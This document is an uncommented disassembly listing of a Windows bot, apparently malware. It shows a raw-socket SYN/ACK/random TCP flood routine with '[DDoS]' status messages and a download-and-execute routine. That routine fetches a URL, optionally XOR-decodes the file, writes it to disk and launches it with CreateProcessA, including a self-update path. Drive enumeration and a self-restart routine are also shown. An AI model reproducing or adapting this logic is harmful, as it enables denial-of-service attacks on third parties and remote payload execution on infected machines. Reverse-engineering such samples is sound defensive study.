inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43A334 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+64h+var_18], eax jz loc_402B38 push 4 lea ecx, [ebp+64h+var_44] push ecx push 2 push ebx push eax mov [ebp+64h+var_44], edi call dword_43A3D8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_402B2F push esi push [ebp+64h+arg_C] mov [ebp+64h+var_B8], 2 call dword_43A514 ; ntohs mov esi, [ebp+64h+arg_0] push 28h mov [ebp+64h+var_B6], ax mov [ebp+64h+var_B4], esi mov [ebp+64h+var_30], 45h call dword_43A514 ; ntohs push [ebp+64h+arg_C] mov [ebp+64h+var_2E], ax mov [ebp+64h+var_2C], di mov [ebp+64h+var_2A], bx mov [ebp+64h+var_28], 80h mov [ebp+64h+var_27], 6 mov [ebp+64h+var_26], bx mov [ebp+64h+var_20], esi call dword_43A514 ; ntohs mov [ebp+64h+var_12], ax call sub_416B31 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_43A514 ; ntohs push 12345678h call dword_43A4EC ; ntohl mov esi, [ebp+64h+arg_8] push 9 mov edi, offset aDdos_syn ; "ddos.syn" pop ecx xor eax, eax repe cmpsb jnz short loc_40295B mov [ebp+64h+var_C], ebx mov [ebp+64h+var_7], 2 jmp short loc_4029AB ; --------------------------------------------------------------------------- loc_40295B: ; CODE XREF: sub_402858+F8j mov esi, [ebp+64h+arg_8] push 9 mov edi, offset aDdos_ack ; "ddos.ack" pop ecx xor eax, eax repe cmpsb jnz short loc_402975 mov [ebp+64h+var_C], ebx mov [ebp+64h+var_7], 10h jmp short loc_4029AB ; --------------------------------------------------------------------------- loc_402975: ; CODE XREF: sub_402858+112j mov esi, [ebp+64h+arg_8] push 0Ch mov edi, offset aDdos_random ; "ddos.random" pop ecx xor eax, eax repe cmpsb jnz short loc_4029AB call sub_416B31 cdq push 3 pop ecx idiv ecx mov [ebp+64h+var_C], edx call sub_416B31 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+64h+var_7], dl loc_4029AB: ; CODE XREF: sub_402858+101j ; sub_402858+11Bj ... push 4000h mov [ebp+64h+var_8], 50h call dword_43A514 ; ntohs mov [ebp+64h+var_6], ax lea eax, [ebp+64h+var_6C] push eax mov [ebp+64h+var_2], bx mov [ebp+64h+var_1C], ebx call dword_42203C ; QueryPerformanceFrequency lea eax, [ebp+64h+var_38] push eax call dword_422038 ; QueryPerformanceCounter push [ebp+64h+var_68] mov eax, [ebp+64h+arg_10] push [ebp+64h+var_6C] cdq push edx push eax call sub_417220 add eax, [ebp+64h+var_38] adc edx, [ebp+64h+var_34] mov [ebp+64h+var_40], eax mov [ebp+64h+var_3C], edx jmp short loc_402A1F ; --------------------------------------------------------------------------- loc_4029F8: ; CODE XREF: sub_402858+2A4j add [ebp+64h+var_1C], eax lea eax, [ebp+64h+var_38] push eax call dword_422038 ; QueryPerformanceCounter mov eax, [ebp+64h+var_34] cmp eax, [ebp+64h+var_3C] jg loc_402B2B jl short loc_402A1F mov eax, [ebp+64h+var_38] cmp eax, [ebp+64h+var_40] jnb loc_402B2B loc_402A1F: ; CODE XREF: sub_402858+19Ej ; sub_402858+1B9j mov [ebp+64h+var_4], bx call sub_416B31 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43A514 ; ntohs mov [ebp+64h+var_14], ax call sub_416B31 call sub_416B31 push eax call dword_43A514 ; ntohs push [ebp+64h+arg_4] movzx eax, ax mov [ebp+64h+var_10], eax call dword_43A4EC ; ntohl inc [ebp+64h+arg_4] mov esi, eax mov eax, [ebp+64h+arg_0] push 14h mov [ebp+64h+var_60], eax mov [ebp+64h+var_24], esi mov [ebp+64h+var_5C], bl mov [ebp+64h+var_5B], 6 call dword_43A514 ; ntohs push 8 pop ecx mov [ebp+64h+var_64], esi mov [ebp+64h+var_5A], ax push 5 lea esi, [ebp+64h+var_64] lea edi, [ebp+64h+var_A8] rep movsd pop ecx lea eax, [ebp+64h+var_A8] push 34h lea esi, [ebp+64h+var_14] lea edi, [ebp+64h+var_88] push eax rep movsd call sub_4088EA push 5 pop ecx push 5 lea esi, [ebp+64h+var_30] lea edi, [ebp+64h+var_A8] rep movsd mov [ebp+64h+var_4], ax pop ecx lea esi, [ebp+64h+var_14] lea edi, [ebp+64h+var_94] rep movsd xor eax, eax lea edi, [ebp+64h+var_80] stosd lea eax, [ebp+64h+var_A8] push 28h push eax call sub_4088EA add esp, 10h push 5 pop ecx push 10h mov [ebp+64h+var_26], ax lea eax, [ebp+64h+var_B8] push eax push ebx push 28h lea eax, [ebp+64h+var_A8] push eax push [ebp+64h+var_18] lea esi, [ebp+64h+var_30] lea edi, [ebp+64h+var_A8] rep movsd call dword_43A38C ; sendto cmp eax, 0FFFFFFFFh jnz loc_4029F8 call dword_43A47C ; WSAGetLastError push eax lea eax, [ebp+64h+var_F8] push offset aDdosSendErrorD ; "[DDoS]: Send error: <%d>." push eax call sub_416975 lea eax, [ebp+64h+var_F8] push eax call sub_401F0F add esp, 10h jmp short loc_402B2E ; --------------------------------------------------------------------------- loc_402B2B: ; CODE XREF: sub_402858+1B3j ; sub_402858+1C1j mov ebx, [ebp+64h+var_1C] loc_402B2E: ; CODE XREF: sub_402858+2D1j pop esi loc_402B2F: ; CODE XREF: sub_402858+73j push [ebp+64h+var_18] call dword_43A4D0 ; closesocket loc_402B38: ; CODE XREF: sub_402858+57j call dword_43A4DC ; WSACleanup mov eax, ebx loc_402B40: ; CODE XREF: sub_402858+37j pop edi pop ebx add ebp, 64h leave retn sub_402858 endp ; =============== S U B R O U T I N E ======================================= sub_402B47 proc near ; CODE XREF: sub_402BA3+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40877E push [esp+10h+arg_4] mov esi, eax call sub_416D02 push [esp+14h+arg_C] mov ebx, eax call sub_416D02 mov edi, eax call sub_416B31 cdq mov ecx, 200h idiv ecx push edi push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_402858 add esp, 20h test eax, eax jnz short loc_402B94 inc eax loc_402B94: ; CODE XREF: sub_402B47+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_402B47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402BA3 proc near ; DATA XREF: sub_409848+2DFFo var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov esi, eax mov ecx, 0A5h lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call dword_422004 ; GetTickCount push eax call sub_416B24 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_402B47 push eax lea eax, [ebp+var_494] push offset aDdosDoneWithFl ; "[DDoS]: Done with flood (%iKB/sec)." push eax call sub_416975 xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_402C33 push esi push [ebp+var_C] lea eax, [ebp+var_494] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_405D62 add esp, 14h loc_402C33: ; CODE XREF: sub_402BA3+6Ej lea eax, [ebp+var_494] push eax call sub_401F0F push [ebp+var_290] call sub_4139F6 pop ecx pop ecx push esi call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_402BA3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_402C54 proc near ; CODE XREF: sub_402C71+109p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_402C70 loc_402C60: ; CODE XREF: sub_402C54+1Aj mov dl, byte_42FCD4 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_402C60 locret_402C70: ; CODE XREF: sub_402C54+Aj retn sub_402C54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C71 proc near ; DATA XREF: sub_409848+2BEFo ; sub_409848+33E8o var_88C = qword ptr -88Ch var_880 = qword ptr -880h var_810 = byte ptr -810h var_610 = byte ptr -610h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_38C = byte ptr -38Ch var_28C = byte ptr -28Ch var_18C = byte ptr -18Ch var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_68 = dword ptr -68h var_5C = dword ptr -5Ch var_3C = dword ptr -3Ch var_38 = word ptr -38h var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 810h mov eax, [ebp+arg_0] push ebx push esi push edi xor ebx, ebx push ebx mov esi, eax mov ecx, 0EAh lea edi, [ebp+var_410] rep movsd push ebx xor esi, esi push ebx inc esi mov [eax+3A4h], esi push ebx lea eax, [ebp+var_38C] push eax push dword_43A508 call dword_43A3C4 ; InternetOpenUrlA cmp eax, ebx mov [ebp+var_C], eax jz loc_403120 push ebx push ebx push 2 push ebx push ebx push 40000000h lea eax, [ebp+var_28C] push eax call dword_422034 ; CreateFileA cmp eax, esi mov [ebp+var_10], eax jnb short loc_402D38 lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_610] push offset aDownloadCouldn ; "[DOWNLOAD]: Couldn't open file: %s." push eax call sub_416975 add esp, 0Ch cmp [ebp+var_74], ebx jnz short loc_402D1B push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_405D62 add esp, 14h loc_402D1B: ; CODE XREF: sub_402C71+88j lea eax, [ebp+var_610] push eax call sub_401F0F push [ebp+var_8C] call sub_4139F6 pop ecx jmp loc_403181 ; --------------------------------------------------------------------------- loc_402D38: ; CODE XREF: sub_402C71+68j xor esi, esi call dword_422004 ; GetTickCount mov [ebp+var_4], eax loc_402D43: ; CODE XREF: sub_402C71+174j xor eax, eax mov ecx, 80h lea edi, [ebp+var_610] rep stosd lea eax, [ebp+arg_0] push eax push 200h lea eax, [ebp+var_610] push eax push [ebp+var_C] call dword_43A470 ; InternetReadFile cmp [ebp+var_78], ebx jz short loc_402D81 push [ebp+arg_0] lea eax, [ebp+var_610] push eax call sub_402C54 pop ecx pop ecx loc_402D81: ; CODE XREF: sub_402C71+FDj push ebx lea eax, [ebp+var_14] push eax push [ebp+arg_0] lea eax, [ebp+var_610] push eax push [ebp+var_10] call dword_422030 ; WriteFile add esi, [ebp+arg_0] cmp [ebp+var_80], ebx jz short loc_402DA6 cmp esi, [ebp+var_80] ja short loc_402DEB loc_402DA6: ; CODE XREF: sub_402C71+12Ej mov eax, esi shr eax, 0Ah push eax lea eax, [ebp+var_38C] push eax mov eax, [ebp+var_8C] imul eax, 234h add eax, offset dword_43B060 cmp [ebp+var_88], 1 jz short loc_402DD4 push offset aDownloadFileDo ; "[DOWNLOAD]: File download: %s (%dKB tra"... jmp short loc_402DD9 ; --------------------------------------------------------------------------- loc_402DD4: ; CODE XREF: sub_402C71+15Aj push offset aDownloadUpdate ; "[DOWNLOAD]: Update: %s (%dKB transferre"... loc_402DD9: ; CODE XREF: sub_402C71+161j push eax call sub_416975 add esp, 10h cmp [ebp+arg_0], ebx ja loc_402D43 loc_402DEB: ; CODE XREF: sub_402C71+133j cmp [ebp+var_80], ebx mov [ebp+var_8], 1 jz short loc_402E40 cmp esi, [ebp+var_80] jz short loc_402E40 push [ebp+var_80] lea eax, [ebp+var_610] push esi push offset aDownloadFilesi ; "[DOWNLOAD]: Filesize is incorrect: (%d "... push eax mov [ebp+var_8], ebx call sub_416975 push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_405D62 lea eax, [ebp+var_610] push eax call sub_401F0F add esp, 28h loc_402E40: ; CODE XREF: sub_402C71+184j ; sub_402C71+189j call dword_422004 ; GetTickCount sub eax, [ebp+var_4] xor edx, edx mov ecx, 3E8h div ecx xor edx, edx push [ebp+var_10] mov ecx, eax inc ecx mov eax, esi div ecx mov edi, eax call dword_42202C ; CloseHandle cmp [ebp+var_8], ebx jz loc_40316D cmp [ebp+var_88], 1 jz loc_403031 test edi, edi mov [ebp+var_4], edi fild [ebp+var_4] jge short loc_402E8C fadd dbl_422B60 loc_402E8C: ; CODE XREF: sub_402C71+213j test esi, esi fmul dbl_422B58 push ecx push ecx fstp [esp+880h+var_880] lea eax, [ebp+var_28C] mov [ebp+var_4], esi fild [ebp+var_4] push eax jge short loc_402EAE fadd dbl_422B60 loc_402EAE: ; CODE XREF: sub_402C71+235j fmul dbl_422B58 push ecx push ecx lea eax, [ebp+var_610] fstp [esp+88Ch+var_88C] push offset aDownloadDownlo ; "[DOWNLOAD]: Downloaded %.1f KB to %s @ "... push eax call sub_416975 add esp, 1Ch cmp [ebp+var_74], ebx jnz short loc_402EF2 push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_405D62 add esp, 14h loc_402EF2: ; CODE XREF: sub_402C71+25Fj lea eax, [ebp+var_610] push eax call sub_401F0F cmp [ebp+var_84], 1 pop ecx jnz loc_40316D cmp [ebp+var_74], ebx jnz short loc_402F5C lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_610] push offset aDownloadOpenni ; "[DOWNLOAD]: Openning: %s %s." push eax call sub_416975 push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_405D62 lea eax, [ebp+var_610] push eax call sub_401F0F add esp, 28h loc_402F5C: ; CODE XREF: sub_402C71+29Ej xor eax, eax lea edi, [ebp+var_24] stosd stosd stosd stosd push 11h xor eax, eax pop ecx lea edi, [ebp+var_68] rep stosd mov ecx, 80h lea edi, [ebp+var_810] mov [ebp+var_5C], (offset asc_422B00+2) mov [ebp+var_68], 44h mov [ebp+var_3C], 1 mov [ebp+var_38], bx rep stosd loc_402F95: ; CODE XREF: sub_402C71+335j mov cl, [ebp+eax+var_28C] mov [ebp+eax+var_810], cl inc eax cmp cl, bl jnz short loc_402F95 lea edi, [ebp+var_810] dec edi loc_402FAF: ; CODE XREF: sub_402C71+344j mov al, [edi+1] inc edi cmp al, bl jnz short loc_402FAF mov esi, offset asc_422B00 ; " " lea eax, [ebp+var_18C] movsw mov edx, eax loc_402FC6: ; CODE XREF: sub_402C71+35Aj mov cl, [eax] inc eax cmp cl, bl jnz short loc_402FC6 lea edi, [ebp+var_810] sub eax, edx dec edi loc_402FD6: ; CODE XREF: sub_402C71+36Bj mov cl, [edi+1] inc edi cmp cl, bl jnz short loc_402FD6 mov ecx, eax shr ecx, 2 mov esi, edx rep movsd mov ecx, eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_68] push eax push ebx push ebx push 30h push ebx push ebx push ebx lea eax, [ebp+var_810] push eax and ecx, 3 push ebx rep movsb call dword_422044 ; CreateProcessA cmp eax, 1 lea eax, [ebp+var_810] push eax lea eax, [ebp+var_610] jnz short loc_403027 push offset aDownloadApplic ; "[DOWNLOAD]: Application succesfully exe"... jmp loc_403132 ; --------------------------------------------------------------------------- loc_403027: ; CODE XREF: sub_402C71+3AAj push offset aDownloadExecut ; "[DOWNLOAD]: Execution failed: Error exe"... jmp loc_403132 ; --------------------------------------------------------------------------- loc_403031: ; CODE XREF: sub_402C71+205j test edi, edi mov [ebp+var_4], edi fild [ebp+var_4] jge short loc_403041 fadd dbl_422B60 loc_403041: ; CODE XREF: sub_402C71+3C8j test esi, esi fmul dbl_422B58 push ecx push ecx fstp [esp+880h+var_880] lea eax, [ebp+var_28C] mov [ebp+var_4], esi fild [ebp+var_4] push eax jge short loc_403063 fadd dbl_422B60 loc_403063: ; CODE XREF: sub_402C71+3EAj fmul dbl_422B58 push ecx push ecx lea eax, [ebp+var_610] fstp [esp+88Ch+var_88C] push offset aDownloadDown_0 ; "[DOWNLOAD]: Downloaded %.1fKB to %s @ %"... push eax call sub_416975 add esp, 1Ch cmp [ebp+var_74], ebx jnz short loc_4030A7 push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_405D62 add esp, 14h loc_4030A7: ; CODE XREF: sub_402C71+414j lea eax, [ebp+var_610] push eax call sub_401F0F xor eax, eax pop ecx lea edi, [ebp+var_24] stosd stosd push 11h stosd pop ecx stosd xor eax, eax lea edi, [ebp+var_68] rep stosd lea eax, [ebp+var_24] push eax lea eax, [ebp+var_68] push eax push ebx push ebx push 30h push ebx push ebx push ebx lea eax, [ebp+var_28C] xor esi, esi push eax inc esi push ebx mov [ebp+var_5C], (offset asc_422B00+2) mov [ebp+var_68], 44h mov [ebp+var_3C], esi mov [ebp+var_38], bx call dword_422044 ; CreateProcessA cmp eax, esi jnz short loc_403112 call dword_43A4DC ; WSACleanup call sub_407576 push ebx call dword_422040 ; ExitProcess loc_403112: ; CODE XREF: sub_402C71+48Dj lea eax, [ebp+var_28C] push eax push offset aDownloadUpda_0 ; "[DOWNLOAD]: Update failed: Error execut"... jmp short loc_40312C ; --------------------------------------------------------------------------- loc_403120: ; CODE XREF: sub_402C71+45j lea eax, [ebp+var_38C] push eax push offset aDownloadBadUrl ; "[DOWNLOAD]: Bad URL, or DNS Error: %s." loc_40312C: ; CODE XREF: sub_402C71+4ADj lea eax, [ebp+var_610] loc_403132: ; CODE XREF: sub_402C71+3B1j ; sub_402C71+3BBj push eax call sub_416975 add esp, 0Ch cmp [ebp+var_74], ebx jnz short loc_403160 push ebx push [ebp+var_70] lea eax, [ebp+var_610] push eax lea eax, [ebp+var_40C] push eax push [ebp+var_410] call sub_405D62 add esp, 14h loc_403160: ; CODE XREF: sub_402C71+4CDj lea eax, [ebp+var_610] push eax call sub_401F0F pop ecx loc_40316D: ; CODE XREF: sub_402C71+1F8j ; sub_402C71+295j push [ebp+var_C] call dword_43A41C ; InternetCloseHandle push [ebp+var_8C] call sub_4139F6 loc_403181: ; CODE XREF: sub_402C71+C2j pop ecx push ebx call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_402C71 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40318A proc near ; CODE XREF: sub_409848+5685p ; sub_409848+57D8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4172A4 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40318A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4031A4 proc near ; CODE XREF: sub_4032A8+66p ; sub_4032A8+97p ... var_40 = byte ptr -40h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40h and [ebp+var_4], 0 push esi push edi push 0Ch mov esi, offset dword_438A9C pop ecx xor eax, eax mov edi, esi rep stosd stosw lea edi, [ebp+var_40] push ebx loc_4031C4: ; CODE XREF: sub_4031A4+50j ; sub_4031A4+56j push 0 push 0Ah push [ebp+arg_4] push [ebp+arg_0] call sub_4172F0 add cl, 30h mov [edi], cl inc edi mov [ebp+arg_0], eax or eax, edx mov [ebp+var_8], ebx mov [ebp+arg_4], edx jz short loc_4031FC inc [ebp+var_4] mov eax, [ebp+var_4] push 3 cdq pop ecx idiv ecx test edx, edx jnz short loc_4031C4 mov byte ptr [edi], 2Ch inc edi jmp short loc_4031C4 ; --------------------------------------------------------------------------- loc_4031FC: ; CODE XREF: sub_4031A4+40j mov eax, esi pop ebx jmp short loc_403206 ; --------------------------------------------------------------------------- loc_403201: ; CODE XREF: sub_4031A4+68j mov cl, [edi] mov [eax], cl inc eax loc_403206: ; CODE XREF: sub_4031A4+5Bj dec edi lea ecx, [ebp+var_40] cmp edi, ecx jnb short loc_403201 and byte ptr [eax], 0 pop edi mov eax, esi pop esi leave retn sub_4031A4 endp ; =============== S U B R O U T I N E ======================================= sub_403217 proc near ; CODE XREF: sub_4033C3+3Ep ; sub_4033C3+74p arg_0 = dword ptr 4 push [esp+arg_0] call dword_43A33C ; GetDriveTypeA sub eax, 0 jz short loc_40325A dec eax jz short loc_403254 dec eax dec eax jz short loc_40324E dec eax jz short loc_403248 dec eax jz short loc_403242 dec eax jz short loc_40323C mov eax, offset a? ; "?" retn ; --------------------------------------------------------------------------- loc_40323C: ; CODE XREF: sub_403217+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- loc_403242: ; CODE XREF: sub_403217+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_403248: ; CODE XREF: sub_403217+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40324E: ; CODE XREF: sub_403217+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_403254: ; CODE XREF: sub_403217+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40325A: ; CODE XREF: sub_403217+Dj mov eax, offset aUnknown ; "Unknown" retn sub_403217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403260 proc near ; CODE XREF: sub_4032A8+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_43A3B8 test eax, eax jz short loc_403295 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_403295: ; CODE XREF: sub_403260+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_403260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4032A8 proc near ; CODE XREF: sub_4033C3+17p ; sub_412B6A+1BDp var_1B0 = byte ptr -1B0h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = byte ptr -30h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1B0h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_30] push eax call sub_403260 pop ecx pop ecx push 6 mov esi, eax pop ecx lea edi, [ebp+var_18] rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_403380 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_403380 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_403380 push ebx push 0 mov ebx, 400h push ebx push [ebp+var_14] push [ebp+var_18] call sub_417390 push edx push eax call sub_4031A4 push eax mov edi, offset aSkb ; "%sKB" push edi mov esi, 80h lea eax, [ebp+var_1B0] push esi push eax call sub_416BCD add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_417390 push edx push eax call sub_4031A4 push eax push edi lea eax, [ebp+var_130] push esi push eax call sub_416BCD add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_417390 push edx push eax call sub_4031A4 push eax push edi lea eax, [ebp+var_B0] push esi push eax call sub_416BCD add esp, 18h pop ebx jmp short loc_4033AF ; --------------------------------------------------------------------------- loc_403380: ; CODE XREF: sub_4032A8+2Cj ; sub_4032A8+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_1B0] push esi push eax call sub_416975 lea eax, [ebp+var_130] push esi push eax call sub_416975 lea eax, [ebp+var_B0] push esi push eax call sub_416975 add esp, 18h loc_4033AF: ; CODE XREF: sub_4032A8+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_1B0] mov edi, eax rep movsd pop edi pop esi leave retn sub_4032A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033C3 proc near ; CODE XREF: sub_403482+Bj ; sub_403482+51p var_500 = byte ptr -500h var_380 = byte ptr -380h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_500] push ebx push eax call sub_4032A8 pop ecx pop ecx push 60h pop ecx mov esi, eax lea edi, [ebp+var_180] rep movsd push 7 mov edi, offset aFailed ; "failed" lea esi, [ebp+var_80] pop ecx xor eax, eax repe cmpsb jnz short loc_403423 push ebx push ebx call sub_403217 pop ecx push eax push offset aMainSDriveSFai ; "[MAIN]: %s Drive (%s): Failed to stat, "... lea eax, [ebp+var_380] push 200h push eax call sub_416BCD add esp, 14h jmp short loc_403457 ; --------------------------------------------------------------------------- loc_403423: ; CODE XREF: sub_4033C3+3Aj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_403217 pop ecx push eax push offset aMainSDriveSSTo ; "[MAIN]: %s Drive (%s): %s total, %s fre"... lea eax, [ebp+var_380] push 200h push eax call sub_416BCD add esp, 20h loc_403457: ; CODE XREF: sub_4033C3+5Ej push 1 push [ebp+arg_8] lea eax, [ebp+var_380] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 lea eax, [ebp+var_380] push eax call sub_401F0F add esp, 18h pop edi pop esi pop ebx leave retn sub_4033C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403482 proc near ; CODE XREF: sub_409848+4CCFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp xor eax, eax cmp [ebp+arg_C], eax jz short loc_403492 pop ebp jmp sub_4033C3 ; --------------------------------------------------------------------------- loc_403492: ; CODE XREF: sub_403482+8j push ebx push esi push eax push eax call dword_43A460 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_416E1F pop ecx mov ebx, eax push ebx push esi mov [ebp+arg_C], ebx call dword_43A460 ; GetLogicalDriveStringsA cmp byte ptr [ebx], 0 jz short loc_4034F5 push edi loc_4034B9: ; CODE XREF: sub_403482+6Dj push 4 mov edi, offset aA ; "A:\\" mov esi, ebx pop ecx xor eax, eax repe cmpsb jz short loc_4034DB push ebx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4033C3 add esp, 10h loc_4034DB: ; CODE XREF: sub_403482+45j mov eax, ebx lea edx, [eax+1] loc_4034E0: ; CODE XREF: sub_403482+63j mov cl, [eax] inc eax test cl, cl jnz short loc_4034E0 sub eax, edx lea ebx, [ebx+eax+1] cmp [ebx], cl jnz short loc_4034B9 mov ebx, [ebp+arg_C] pop edi loc_4034F5: ; CODE XREF: sub_403482+34j push ebx call sub_416D07 pop ecx pop esi pop ebx pop ebp retn sub_403482 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403500 proc near ; DATA XREF: sub_40FB4C+14o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43B26C call dword_43A4D0 ; closesocket call sub_4138A3 call dword_43A4DC ; WSACleanup call dword_43A4DC ; WSACleanup mov ebx, dword_422000 push 64h call ebx ; Sleep xor eax, eax lea edi, [ebp+var_10] stosd stosd stosd stosd push 11h pop ecx xor eax, eax lea edi, [ebp+var_54] rep stosd mov esi, 104h push esi lea eax, [ebp+var_158] xor edi, edi push eax mov [ebp+var_48], (offset asc_422B00+2) mov [ebp+var_54], 44h mov [ebp+var_28], 1 mov [ebp+var_24], di call dword_422048 ; GetSystemDirectoryA push esi lea eax, [ebp+var_25C] push eax push edi call dword_422010 ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_158] push eax push edi push 28h push 1 push edi push edi lea eax, [ebp+var_25C] push eax push edi call dword_422044 ; CreateProcessA test eax, eax jz short loc_4035BF push 64h call ebx ; Sleep push [ebp+var_10] mov esi, dword_42202C call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_4035BF: ; CODE XREF: sub_403500+A9j mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_438AD0 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 